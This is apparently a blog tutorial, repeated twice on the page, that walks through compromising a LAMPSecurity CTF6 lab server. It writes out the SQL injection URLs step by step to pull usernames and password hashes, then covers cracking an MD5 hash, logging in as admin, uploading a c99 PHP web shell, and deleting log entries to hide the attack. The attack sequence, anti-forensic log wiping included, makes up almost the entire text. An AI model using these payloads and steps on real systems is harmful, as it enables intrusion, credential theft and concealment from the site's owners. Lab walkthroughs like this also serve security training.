Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uFTGqLi45c8zwqFeCYQX0ODRu4ddtlBFcwGhbeyOSZBwDj_UGFU6hhwvxs48FgtNbPMGm4HpgWlx6imN4Et9yQEY14MtzFPWG10B6PCvkV32p7ZyRJMXzTkG6RrpvcjwWz3M15iF1IdX8jofiuvuuAPN_ZPjk3fR4V3L6khhgJeacq=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uqlw49mZQQOpP8VQgTbtMrYETYy4yzPQCZ-AWRQkV3AN9dw01c5nah6zkURQFjHCn3QaBJbOHfd_hdSyniIVnuyrsDHD1jr22rMQ74qQQZyZUdWq5l_wEZil3gu5x1VK0Jug1OW-IJ2R8EnjuDAjziTk6kqWSHVWBtJp_FfjTfp-YDiA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vWI55ZVHuuvu5KHwEuxR3Dz-cL4UMXIGt24Mg4SQMW2knZSCzx3S0ncYP28LeXFV2k6h8IgZSU-WgBgGBcRn3v4LATPMuzqpDYnLmtzBhwcJa78hnboVX_inoJrY1UzmxbyDwjKKG-BwuO8zkNAaxKgL3MkQqWsgcj4NF6ySQK6tVKnw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uy0UfKaIvvtvbOCPuj_GRQsW_285VIng0XOZrn7PxjFXMThXSh2NnKd3aOdD8-RtqyFuR9EQpo5zFgySrtdI8NDOX_WZg7XaNoKqHvLaHa_qqSl7H17WZ6x4jrNEzr7Yi7wQWV8PXvU8rpD-JDupW9DlLNz7jPL7s4H7uqov1owjXw5Q=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tV1dIMl-6WObNAdNXCjCA3dKQNzDrz0lEVXNe5mNu4lQ5OPjJsc-2aw4KmaFD1bD3bTz80JseV2mhm5BeFnljjlk6gicissQxOskqLg5d3OTo_lC0na3CKGvKsYC7VKdAe25xuunoUAGVNHOHI7xE-aVgfeT1t5W1IGetcrMmQSjYR-A=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u1mstL9K5qZIBRmmyxJWj2rw0LoVo2tSLcUiIl68noqM-BN1siNHXfSjhi95TRm45MmLia5FfYHSF2xRW8Hyei8PPLslkWIQaUAgqUHakY9NlqXMSf17gwoMWkJhHtPBj_7WtDKBJ3ApH_yUjX_kczMZwBymESGSJhJ887ZQkJtVOq=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uwjD8qUjz3dmA2V51yMzldSxKG2a4SwsFPABi17nMsedbfE_BKU-HpC5unHz2yJIwEiSmXKGzSw0iYo1CKpDWMAfXLMOXbsDIT_WZ4AJi1DNESoUpvHCMoTjI3pw37GoGy737IXzOrLi0-63OJZo3Q_QPrEVhLBASf5IcT5LIpNh2oBDE=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sEbQp5arLedg_i2b6ckZzFCO_p4Eh6f_Lo4sBXoyGvUeDhSyylUDtZ8vibzblOCDCuWENynENeeaDUGHvK9nLsRlbSvaXuph1fEpn1HW-RIG_50IQtjeFYYKLXwo0ZyudNe6nD1nkGmiyvsdqGzURZKzOrc8sA2huQzci9tCRV1kMaFDQ=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uZNaH8yDjUDdXrKlXZG-AGic6EyKOGTbB7Fog1ghHW5OKqinhI-uPxozOlHmdlSnreY6pWlCLEgQufAdBwl1qF5YJ_08U8vmIplo5U2zoXgxLSCNJyGFEL6g-rDalkDK9g9zpMoedAp7kBHK_EODRwfiCnL6TzNWF-l9DytTK8CirDfA0=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vL8RKyD6mx5byj8R8NTAhVfFtZBFUTJIr-l4hVWgvQJZNZIjUd5Lxsy4xYRw7SYhyc0dLpef5BQ_1TdFwSQdEMNPxze1766gnAb3Q3hlD5kELFEKsWaKSCno0U5Y59vn5cSi5U55WbjpZrHuzwpFhjshCvVVHInLkypUNESBcPS2bPU3Y=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vhYAENYOOFmh_d5HqTzo_qFH3tk9sMNbIyWeIOJeQnt3kFA-pwRH-qFvcRbHQIw6d5vXLTcyKS3ScAtxwWz3z-TMFhs9bbEIVd9-CgwxUR88u7F9QYR8NiiBdOXn0D9ZF3JKi-xta5CAbXQBP_3-V52Nca4mQ00OyVOoyRX-fngmbf8Q=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uIWdVRRq2HtFuwtTxHU5LnYxSbJy0H5A-IqnNOvQoMnO0vj4j0GivLHf2JVx4_6WOIJaoCnXsXFcmy6vEpH0X3rWztR4BOARpklyRIE1BHkj0NUp5D6061kAHTCPhqvkkcO3H9p8qJddkfUIcy34upWjkgj-tvfb9jTSRsAo-5xWdMpjs=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u_fzA5OQXr43j1a6Fv8oMinznLKg8dqfWCiXTpD36LNnpcg819LpeJzTxRQlmWG1_pAT1aYAqMRfmQiFyB7JY9zvZEAZQE3lhENPBIMnIxhM81lv2DmoETM45prJkqQwD2c9CnwSqtWBIOXq_8ASu760LFJXFaq0nJo5v7RJdXvkpFdqE=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vKcq7RWSY9Nka6awk0Q0QaJxiWTu8aQhDrynXajrdXi_HGSlL-H6nSt81220Twl6yoLJa-AtjfhFO7fVCqhDhJECWrXiiE7N9GSpI0q_-F8ASlt0_TYbC-7kerUzgyYFMcq8foBIaD8RLcB56aNhKpNnzMrWgffk9538RjubknPgZYZQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQKl7mU-rkUEyf6J3Uaeo79Q7F_x5YREaXXWJ8oakxflpelZy2WwfrWwyMHdMUtsacfjnMab0XpJZLvZ3QxmUSDUMYQOAi0oxr8OoQ1u-UC1IvjojKIry8QQcpfrJQ5FDAXYC0U4M0gINAssxbDBGgkJTtC_LURsNpG33mZCChBsqbyA=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t8p5Rn-SWxXhaQ9kGhZP7y8arcQfbn4xczKDqJonHHx8i9hwBpzUMiZgfZeTac3QL1O70xmaamyGi6gqEzvsG0UK5m9rTwwk6WEpg-Izp0o_S3tx0Kc5B71QoQXxFr6PXKadrBV6MpO-zJ_P1nGjA9qw43dMgAhQw873YhvNnyYjyBYvc=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQK-7GG15BO7sxbm19xSZMpeR2GnP9h_6Qysv5-2jLza3VeIV3lHztkZ5vEH08RroxW6c5Nq-mvF5xRp0y68TilBcGxmm0hF1cQViA9tyBMPwwmymdVbwAZfqY8yQzOXnDu61F4oBqgGqe5oY8GyhzOrYw41kE-WwRHwIIHRI6v6MgKvg=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u-yTGj4GWJY2o_1KloqG5v54SvKA73JdGHuxaGvuQ2GM_ENgGSJE9tR9i9_rDZ78AG3xDhgWeSgvlT2LFtIIg4ozV1TAI5HINGuTWZz8urCwxjtB2RN9JVbtYXyBiUUyBwEp8SK5GnPSHG2dkFcB2wm3NRSeP9u1pt13j0IHr4z0yNaJs=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tYr92TabiF-hyBlAtRAJdHRExNacyq9y6-irDwr40DZ3Kex82bx_UaMYXmaZEq0CHiX-BSJCdcQifgKxnzrqhOb7F8XUEzwL-d4kZQFKNDAHmUlwB4yz1hPOVhCgbOlMM_Cl7nnmQtWy8uri4TsWQJFQuCc83EtfMe3LT3DM7qCMpThwA=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uYutdN6gB5kSKB4tDxwnDC-7GLRsS9TZs2hkM0OUSfz3XQnvjMRbP3FcEWGneihM8UDmFe4zQWpkTl1OkNFjUgQ5hSLvr-npaqkOr859vLgCfol0DDWcRt3Szp5xUTDQfvz26oG72xE9Y98_jzyK14zUy_sDKsNwbOn6p0M4DteBCf7Os=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vCE-pIS0_oiBufP60AJvtVaaLSXZ7XBwzjvlZATrv_Baff8850COQCXHiBUsEO1qJNLGhNWbkT5SYpWmn2NyHou_gQjz-6W8aK_t4GC6v60nwHC56hC3eR2Oy7hilBVaXrxsqWIQHZ7OzX9xjn-EwlkZjso14FkV_WLZluxUQrBC_AsSA=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tMvs64uAdy8YheQueqFtvnBhJxi_Q5QxC2QiC89IVgKOHfItKk0HB0b8ZTsMJdMf4kQiCLdbtmwCxEP9K1HEVuNVbxPfNwGgsWaD97TWtHQb9PRQxwsdb6dOpDTqbUIPZwwuC1Fxk2d8qMTqeTyxjyYFTuMfUKb1awy16jM7E6TuNoyn4=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vPhEEseTAPVQrYE3AGtiO9XASFaLI8IJdu9ko7ogOUc7fHE-u_HWSclZ4reTY59Qq-VWGzgZqX93K97a524tK_wQVegmR6upwAv3ouJ_yBpZ3R3gIT8__5qhrWlUGabGXe53e12t06RRwTKZH69_Tc2GFXUHROaUexWLDi1wqBSbUQ48g=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t_UWxXz37Bj6wfsxCZRwkQgGgHGATBUXRoJaFolguITuvBcTNr8bmvZTHskig1n9Vp_KddAsIpTPFbnjUf_JcdUaajxlmIbpOOfE_sotXyb9qKt3S7Yc6TnzDoA4VVUpnwwLeq41S4oe9u5koS0eEItTqqqVtVZ2EhGOeUhXxs14di5j0=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v0wLD2g2XG1zdvuLYrRykfTWA7Y-bmTo_ObhO8cJd5RbNYdFXwGVnDMHzQC83oKuZWYZ9nvkEotn4JYm4HKt9HgagcTKYV6m_l5Odvb8dHA-_9ESc0roDCHbN4lr6UP-84F7mpPjbpCUnIrQaRDp4BJgYPT6JXC7fFoEnFNUY0QR5DaQ=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sSHeBHAqsIGTqMwLI7i5rDM6yaYn6M3sxtxrhQ79ZPPG0f6vjxhpISfKkWhmsesTGzI_GKKaRz4MmS5QhJNvIC4CBKRvHYjkM88nXYM_DMeW4LLxKy0jOVTOQfhnLg5iByjQzRtbcPJLGLSaW6Jg6Ed--7qTGLvq3jGHsRJjxseZdc3Q=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tqbTTgF4WActAtgh9nIi_0aVM7hHe4y3K8hmog33VxlfNpGY7mi_bJ-uJ5VazQWpcASNgQFjvDKd2_7Pjm_dtHV3uGJ8Yup8QzZFvG1nXb_RhknfRX1LBJTmA9_3kc98LJpCn0QCDOP1N1CF_fNKBdEcjp3eOJPV3ch50fRhCuOmCRt6M=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_seevyTnz15hWhLbTXQP22F1Oq1ptaA0qa9Q2Uxdf8Q8_NHGOXbwzdDNDug6UEZnr_laT6oZ16oOlNSwgK3DSvvvZoWiZho1B2jnFukpRmKfp0CyQrphqY7V1Z3Z6Xq1tQ5yJe4jSxHNxU08W7NaI3Tll4KHg7c2SsojBHeeKsGvb_mpUI=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tGMDeMiCm1XHB8je2kanC4XLSA0PMCdMqzakPYk39o-gS5jKHXGnGBZwCfIP-DwT5y_yMapxElWJ2HZXPaxglbnH9IgMOpm4pgJ6pT7c0RiGzi3DKpxYprJMJf5QRKTKmqTq1UbRwR3SayGhASBbU-PlfREOv_wfV3enDaMftQRFoh3Q=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vS1XC38qiBiaXIa-Tx-XOgQhqj225xt29kBU_omcHLh4_D_lknwIH--bo2rSNmQbgo899OCxKSnq28_FrVqCGKea5Q2yN9onWneoJLlxKkIAXFLEx0L49GxDTEQgqcbZEhS4uFjpZZDh6B__YT9AbC3CzVbZuXuVmrStStU65b8Jm2poU=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uI_pvbYz7qmX62ZYzwmbfkVj5Osrk_nRfv5uCcwdOdckL2KFZpokdgKaOQlCLeL7AVJMs-Q7tIzIQiMRXwQy2RV8HyyR-5CQ04aP40p2hYE-OWs1Sid1Eo_aJiRfm2JBPSuG7aQvtAUF3JnVbwGyOTaJcIE0e4xz8OL18_kaJLbbyty-g=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vtJiMazuSFjEp-aeAE_ZO5MTjdU5DUufu7KyIB67rK2s_ucPUbXCO6-9B-SKhCD-SIqA65HF8OPwYLOPVCcnfmWZFKsBAYajjsIXKXjdjyAVOQB8BQNMRwNxf8vDaB1K8LgUROYIVa9k5ENLkkonqYmencm2ddq3h658ggNxe2B7Vu810=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uGELBsRxiOz7MvSoh1xj80r22TDN_e61IPnNyJWn5CAXYlQldyz7q7BFcZhxvbHXL2v_Tez6zZcEpZjts7vw3lSU8_67Oq13YoK_8WBhFZUjC-NzUVbcQoQIzm84TA72hAj4FXmZsZ7keOXYwkL4wXr9nwZvF1M1cBzxJKMQorhpvGJIQ=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uf7oLGK_QtLv2TuLxeOUWmK66WxkmPF4cJBlp77jRwJCLO80w9XCOn3Z_5t161dUBY3tNzAbSY8a9PLI8NLFppR1055wrdZMW0d-WaZ7UR2xRYUAp1nX5ehrGo6J9UfwN6B-cqz_gfEb_TAna3_02B_vY09xWSTnPpeFme8xgMA59sS8k=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uKYmlE2kQHajzQZ8IY0zidS8s-0XlvTuUOrPz-yNDjYZxvg4sv9RmBCsJ6T_0S0-6axCfePiDJRbSqBQiPY7nuYU6sOZAOBAB1UkUecNOnO4DQFRY3AanQbzK8452wKnKO37netOewdiS0FnBLuswFXO8EmtWKhdZPZoUqxhuOV5xqHSE=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_svNjsXJaWfk4JHW-taAT4F1ln9Uqr1okhK7xrJNMwb2cwus65v-mWOrtAYPGXRbtp-tGw-Yrho-Gl4XzLY4COMaXB_soP97qvGBIdyvKV8PDyNdICNHNfOlrbND2Mz4Eo5LmFX3BUNxwfRCXdPt4lQ4lLq05fhVeUbOAfMX1ayAELxpRI=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uBmAkPz6NHhkiQ32nVr77S9TW5upBtm6eS8ygNiqCLEt2Rn8hIBqEt0I8ccd8D7yOUghu8HbW9iVSsGMaSS8KzJ7LyQngU5AMYCiEasJlnJFVoRnT146_wA5kOwxcSGA2smP9f3GuitE-ZyPkegVc29YAAjM8vEshhTRDHm1FANV4gbQ=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sRoX2gPFRGl5vNxmkOiMYosuw2JLbt_jIefcdUHbV3I2zYe1NWjbb5gVMVi9R7MLna8s5LP42KFn6j-P4R7NVtqVGwnIogA4Tf8VpGVaiDkfQo3mCdzcplo_J6BkZMMhcVuzPpNgAIs6rS5dLuyMFJdlYBrh-1565n1eCnvtN2wJsOk_I=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vpY_WEqXsTPRdB_g0o9UdQ5Vzn_eCZsAWbwX7fhCMjXOYmLLMtWlt6B1FbqRSVPGtohu1ML0UlW0l9u1LIu5COgAa50tRE9O_TRv1RoX8J5oxYQ9KA8fzdABf_-bHWGNea275j9f3u9Si0CnLUVFDmvM_roI3wEvK14DA3FTqLwbLisg=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vO8l6RTg4gxKOA_G_4z74xZ-Qycz--mALKRmV7W9UsOuTP9a3RIn8uy2QacUz_8Z-CEF7k67oq-NXDjVTKiraRXvTEKHJA1yQzbVv3K8P3Y93Q-FTLtUoKOVaRWDOJ7kX5yZpyR5HqxdoujkMdfo0PIKhKpSsROrZCJ3c_mvHv2_7QWIU=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uxWAunW3jt1gyG-9Q1uG7f415Cmrn4GJkhwsBvbaKyhw9o3PuT4gliOLY9HX6q799x-bEeO5SXwSuIqMaVx3P2JGB5PTn7R80p-mtVTenI6_Lwb1lClRxVmcDVEwMTheQZCC0WJs_8GQVCCoVqI8pqykpJbcrdvsnBLKk254oOkPZBvLo=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t0yhRkeIsQWvT7lYd0Cw-YZn2KJqHC9LiNpkQii_kmqb0ieeRPvCOOkL78rdamxW1g4kP2WFBSJWppRN_iDVzra7LQIBP1hmdx8gfIhL-M2Z3mSYVeXGrwbadvoUJFx2W0q4bV5bHS_UYX5n5N81NyfdDzBGFGNg4qYMxHClWYO1nrp3g=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u9yIMslors0OAQJPxGo63xgoat_1G6cvhIxybGJOfuHSWxH0fJ9v-qFEWz1wCdDicNJgV6pKvcoN4jOJGyVvBeZUNUV7PbucKlTozNlPgVk0SXCfdG2utfrss7ZtCZfV1tL5ArWi_q3d8DH6It80wuR3kAq9p4CY3XWB3wyatFi9YD5hw=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tLyaJSscuP_sE4IKWcBYF2Bq02bdyBffiMZB9qAE-eQKAaX8noKu11KdBHkIEFeB9AyOAmpJyxkaAnHbXpZfJyy7xdx6kt-ud8MunKo6LPcNw7Njc8alfZ5lKDyIx64dytwivDlcv5uetdlVokApyI0nDoTpV1C7uFVChmHkzXgymkjg=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tge-sYauY0gvnb2jTvBdMT6RY1iRdTBqi88G3bIty20IF4edifsjPmFVjiZRcMGo9AQCrDkD9VbofOsixEv2BM6H1Bqo8dQk0jY7k3HRYLxyGDfiPz2stP_hJBPquSM8lo6znWqUQD9D6rf-QDeDj0GTZdV_MtrX01ctLdSFGIGtY_qfY=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete